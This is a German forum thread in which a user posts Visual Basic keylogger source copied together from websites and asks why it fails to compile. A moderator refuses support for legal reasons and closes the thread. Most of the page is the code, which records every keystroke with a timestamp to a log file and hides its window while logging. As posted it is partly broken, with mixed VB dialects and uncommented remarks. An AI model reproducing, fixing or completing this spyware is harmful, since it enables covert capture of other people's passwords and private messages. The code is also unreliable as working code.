Problem in VB

Dieses Thema im Forum "Alles für den Einsteiger" wurde erstellt von Leseflo, 07.02.2010.

Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. #1 Leseflo, 07.02.2010
    Leseflo

    Leseflo Benutzer

    Dabei seit:
    23.08.2007
    Beiträge:
    90
    Zustimmungen:
    0
    Hallo,
    ich wollte mir mal in VB einen Keylogger programmieren.

    Von verschiedenen Webseiten habe ich mir dann diesen Code zusammengebastelt.
    Aber VB (2008 Express Edition) meckert tausend Fehler.
    Wisst ihr, wo dran das liegt?

    Hier ist der Code:
    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer    'Mit der Tastenkombination Shift und F12 wird die
    Private Declare Function FormatMessage Lib "kernel32" Alias "FormatMessageA" (ByVal dwFlags As Long, ByVal lpSource As Any, ByVal dwMessageId As Long, ByVal dwLanguageId As Long, ByVal lpBuffer As String, ByVal nSize As Long, ByVal Arguments As Long) As Long
    Private Declare Function ShellExecute Lib "shell32" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    
    Public Const KeyLog = "c:\keylog.log"   'Speicher-Ort der Log-Datei.
    Const SW_SHOWNORMAL = 1
    Const VK_CAPITAL = &H14
    Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000
    
    Public Sub StartLogging()
        Form1.tmrGetKeyState.Enabled = True  'Zwei Timer sorgen für Ein- und Ausschalten des
        Form1.tmrStartDelay.Enabled = True   'Keyloggers.
    End Sub
    
    Public Sub CancelLogging()
        Form1.tmrGetKeyState.Enabled = False
    End Sub
    
    Sub AddText(ByVal strText As String)
        Const ForAppending = 8
        Const Create = True
        Dim FSO, TS
    
        On Error GoTo ende
        FSO = CreateObject("Scripting.FileSystemObject")
        TS = FSO.OpenTextFile(KeyLog, ForAppending, Create)
    
    strText = vbCrLf & Date$ & " " & Time$ & ": " & strText     String zusammenbauen (Datum, Zeit, Zeichen).
    TS.Write strText     Logfile schreiben.
    
    ende:
        TS = Nothing
        FSO = Nothing
    End Sub
    
    Public Function Keylogging()
        Dim lngKeyState As Long, lngShift As Long
        Dim i As Integer
    
        lngShift = GetAsyncKeyState(vbKeyShift)
    
     For i = 65 To 90     Tasten A-Z (vbKeyA bis vbKeyZ).
            lngKeyState = GetAsyncKeyState(i)
    
      If (CapsLockOn = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _     Grossbuchstaben.
         (CapsLockOn = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then     
                Call AddText(UCase(Chr(i)))
            End If
    
      If (CapsLockOn = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or _     Kleinbuchstaben.
         (CapsLockOn = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then     
                Call AddText(LCase(Chr(i)))
            End If
        Next i
    
        lngKeyState = GetAsyncKeyState(vbKey1)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("1")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("!")
    
        lngKeyState = GetAsyncKeyState(vbKey2)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("2")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("""")
    
        lngKeyState = GetAsyncKeyState(vbKey3)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("3")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("§")
    
        lngKeyState = GetAsyncKeyState(vbKey4)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("4")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("$")
    
        lngKeyState = GetAsyncKeyState(vbKey5)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("5")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("%")
    
        lngKeyState = GetAsyncKeyState(vbKey6)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("6")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("&")
    
        lngKeyState = GetAsyncKeyState(vbKey7)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("7")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("/")
    
        lngKeyState = GetAsyncKeyState(vbKey8)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("8")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("(")
    
        lngKeyState = GetAsyncKeyState(vbKey9)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("9")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(")")
    
        lngKeyState = GetAsyncKeyState(vbKey0)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("0")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("=")
    
        lngKeyState = GetAsyncKeyState(vbKeyBack)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{BackSpace}")
    
        lngKeyState = GetAsyncKeyState(vbKeyTab)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Tab}")
    
        lngKeyState = GetAsyncKeyState(vbKeyReturn)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Return}")
    
        lngKeyState = GetAsyncKeyState(vbKeyShift)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Shift}")
    
        lngKeyState = GetAsyncKeyState(vbKeyControl)
        If (lngKeyState And &H1) = &H1 Then
            If (GetAsyncKeyState(vbKeyMenu) And &H1) = &H1 Then
                Call AddText("{AltGr}")
            Else
                Call AddText("{Ctrl}")
            End If
        End If
    
        lngKeyState = GetAsyncKeyState(vbKeyMenu)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Alt}")
    
        lngKeyState = GetAsyncKeyState(vbKeyPause)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Pause}")
    
        lngKeyState = GetAsyncKeyState(vbKeyEscape)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Esc}")
    
        lngKeyState = GetAsyncKeyState(vbKeySpace)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{KeySpace}")
    
        lngKeyState = GetAsyncKeyState(vbKeyEnd)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{End}")
    
        lngKeyState = GetAsyncKeyState(vbKeyHome)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Home}")
    
        lngKeyState = GetAsyncKeyState(vbKeyLeft)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil links}")
    
        lngKeyState = GetAsyncKeyState(vbKeyRight)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil rechts}")
    
        lngKeyState = GetAsyncKeyState(vbKeyUp)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil rauf}")
    
        lngKeyState = GetAsyncKeyState(vbKeyDown)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Pfeil runter}")
    
        lngKeyState = GetAsyncKeyState(vbKeyInsert)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Einfg.}")
    
        lngKeyState = GetAsyncKeyState(vbKeyDelete)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Entf.}")
    
        lngKeyState = GetAsyncKeyState(&HBA)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ü")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ü")
    
        lngKeyState = GetAsyncKeyState(&HBB)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("+")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("*")
    
        lngKeyState = GetAsyncKeyState(&HBC)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(",")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(";")
    
        lngKeyState = GetAsyncKeyState(&HBD)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("-")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("_")
    
        lngKeyState = GetAsyncKeyState(&HBE)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText(".")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText(":")
    
        lngKeyState = GetAsyncKeyState(&HBF)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("#")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("'")
    
        lngKeyState = GetAsyncKeyState(&HC0)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ö")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ö")
    
        lngKeyState = GetAsyncKeyState(&HDB)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ß")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("?")
    
        lngKeyState = GetAsyncKeyState(&HDC)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("^")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("°")
    
        lngKeyState = GetAsyncKeyState(&HDD)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("´")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("`")
    
        lngKeyState = GetAsyncKeyState(&HDE)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("ä")
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then Call AddText("Ä")
    
        lngKeyState = GetAsyncKeyState(vbKeyMultiply)
        If (lngKeyState And &H1) = &H1 Then Call AddText("*")
    
        lngKeyState = GetAsyncKeyState(vbKeyDivide)
        If (lngKeyState And &H1) = &H1 Then Call AddText("/")
    
        lngKeyState = GetAsyncKeyState(vbKeyAdd)
        If (lngKeyState And &H1) = &H1 Then Call AddText("+")
    
        lngKeyState = GetAsyncKeyState(vbKeySubtract)
        If (lngKeyState And &H1) = &H1 Then Call AddText("-")
    
        lngKeyState = GetAsyncKeyState(vbKeyDecimal)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Entf.}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF1)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F1}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF2)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F2}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF3)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F3}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF4)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F4}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF5)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F5}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF6)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F6}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF7)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F7}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF8)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F8}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF9)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F9}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF10)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F10}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF11)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{F11}")
    
        lngKeyState = GetAsyncKeyState(vbKeyF12)
        If lngShift = 0 And (lngKeyState And &H1) = &H1 Then Call AddText("{F12}")
    
        If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then   'Bei Shift-F12: Anwendung anzeigen.
            Form1.Visible = True
        End If
    
        lngKeyState = GetAsyncKeyState(vbKeyNumlock)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{NumLock}")
    
        lngKeyState = GetAsyncKeyState(vbKeyScrollLock)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{ScrollLock}")
    
        lngKeyState = GetAsyncKeyState(vbKeySnapshot)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{S-Abf}")
    
        lngKeyState = GetAsyncKeyState(vbKeyPageUp)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Bild rauf}")
    
        lngKeyState = GetAsyncKeyState(vbKeyPageDown)
        If (lngKeyState And &H1) = &H1 Then Call AddText("{Bild runter}")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad1)
        If (lngKeyState And &H1) = &H1 Then Call AddText("1")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad2)
        If (lngKeyState And &H1) = &H1 Then Call AddText("2")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad3)
        If (lngKeyState And &H1) = &H1 Then Call AddText("3")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad4)
        If (lngKeyState And &H1) = &H1 Then Call AddText("4")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad5)
        If (lngKeyState And &H1) = &H1 Then Call AddText("5")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad6)
        If (lngKeyState And &H1) = &H1 Then Call AddText("6")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad7)
        If (lngKeyState And &H1) = &H1 Then Call AddText("7")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad8)
        If (lngKeyState And &H1) = &H1 Then Call AddText("8")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad9)
        If (lngKeyState And &H1) = &H1 Then Call AddText("9")
    
        lngKeyState = GetAsyncKeyState(vbKeyNumpad0)
        If (lngKeyState And &H1) = &H1 Then Call AddText("0")
    
    End Function
    
    Function CapsLockOn() As Boolean
        Static blnInit As Boolean, blnOn As Boolean
    
        If Not blnInit Then
            While GetAsyncKeyState(VK_CAPITAL)
            End While
            blnOn = GetKeyState(VK_CAPITAL)
            blnInit = True
        Else
            If GetAsyncKeyState(VK_CAPITAL) Then
                While GetAsyncKeyState(VK_CAPITAL)
                    DoEvents()
                End While
                blnOn = Not blnOn
            End If
        End If
    
        CapsLockOn = blnOn
    End Function
    
    
    Sub cmdKeyLog_Click()   'Im Formular ist ein Button zum Starten des Keyloggers.
        Static blnHooked As Boolean
    
        If Dir$(KeyLog) = "" Then   'Wird keine Log-Datei gefunden, wird eine Datei erzeugt.
            Dim FSO, tf
            FSO = CreateObject("Scripting.FileSystemObject")
            tf = FSO.CreateTextFile(KeyLog, True)
            tf.WriteLine(KeyLog)
            tf.WriteBlankLines(1)
            tf.Close()
            FSO = Nothing
            tf = Nothing
        End If
    
        If blnHooked Then
            Call CancelLogging()    'Logging beenden.
        Else
            Call StartLogging() '    Logging starten.
            Me.Visible = False '    Anwendung unsichtbar.
        End If
    
        blnHooked = Not blnHooked
    End Sub
    
    Sub tmrGetKeyState_Timer() '    Timer zum Starten des Keyloggers.
        Call Keylogging()   'Die Timer sind auf Interval 100 eingestellt, damit auch
    End Sub     'schnelle Tastatureingaben mitgeschnitten werden.
    'Bei höheren Werten könnte sich das System verschlucken.
    Sub tmrStartDelay_Timer()
        tmrStartDelay.Enabled = False
    End Sub
    
    An Elementen auf der Form 'Form1' habe ich folgendes:
    Code:
    Timer: Name: tmrGetKeyState
             Intervall: 100
    Timer: Name: tmrStartDelay
              Intervall: 100
    Button: Name: Button1
    TextBox: Name: TextBox1
    
    Könnt ihr mir sagen, wodrin das Problem in dem Code liegt?
    Danke im vorraus
    Leseflo
     
  2. AdMan

    schau mal hier: Windows-Wartungs-Tool. Viele Probleme lassen sich damit einfach beheben. Oftmals ist der PC dann auch schneller!
    Registrieren bzw. einloggen, um diese und auch andere Anzeigen zu deaktivieren.
  3. #2 Leonixx, 07.02.2010
    Leonixx

    Leonixx
    Moderator

    Dabei seit:
    17.10.2007
    Beiträge:
    18.903
    Zustimmungen:
    0
    Ort:
    NIX DO
    Sorry aber für Keylogger gibt es hier keinen Support aus rechtlichen Gründen, auch wenn du diesen legal einsetzen möchtest.

    Deshalb closed
     
Thema: Problem in VB
Besucher kamen mit folgenden Suchen
  1. getasynckeystate win7 problem vb6

    ,
  2. vb 2008 &amp;h1 video

    ,
  3. getasynckeystate groß und kleinschreibung vb6

    ,
  4. keylogger vb kleinbuchstaben,
  5. gross klein getasynckey vb6,
  6. visual basic &amp;H1 getasynckeystate,
  7. getasynckeystate ü,
  8. getkeystate vb6 not working,
  9. vba escape &amp;h1,
  10. visual basic declare getkeystate,
  11. vb getkeystate,
  12. windowa xp GetAsyncKeyState,
  13. getasynckeystate vba esc,
  14. getasynckeystate windows xp problem,
  15. getkeystate return code,
  16. visual basic getasynckeystate &amp;H1
Die Seite wird geladen...

Problem in VB - Ähnliche Themen

  1. WLan Problem

    WLan Problem: Hallo, habe ein kleines Problem mit meinem Netzwerk zu Hause. Zur Info: Internetanschluß ist nen 16.000er von ALice/O2. (Bitte nichts sagen,...
  2. Ein Problem mit Bluetooth

    Ein Problem mit Bluetooth: Hallo, ich habe exakt das Bliuetoothmodul, das in diesem Video gezeigt ist: [MEDIA] bin aber der Meinung, dass das bereits geflasht ist, denn...
  3. Domänencontroller Problem

    Domänencontroller Problem: Bekomme neuerdings immer eine Fehlermeldung in der Ereignisanzeige angezeigt: Software_Protection_Platform_Service Lizenzerwerb-Fehlerdetails....
  4. Windows Server 2012R2 Problem

    Windows Server 2012R2 Problem: Moin, wir haben das Problem, das bei Aufforderung das Benutzerpasswort zu ändern in der Windowsumgebung, die Fehlermeldung: "Das System hat...
  5. Problem mit Sims 2

    Problem mit Sims 2: Hey ich habe Sims 2 auf meinem Laptop installiert, ist schon länger her. Ich habe verschiedene Erweiterungspacks gekauft und installiert habe fast...
Status des Themas:
Es sind keine weiteren Antworten möglich.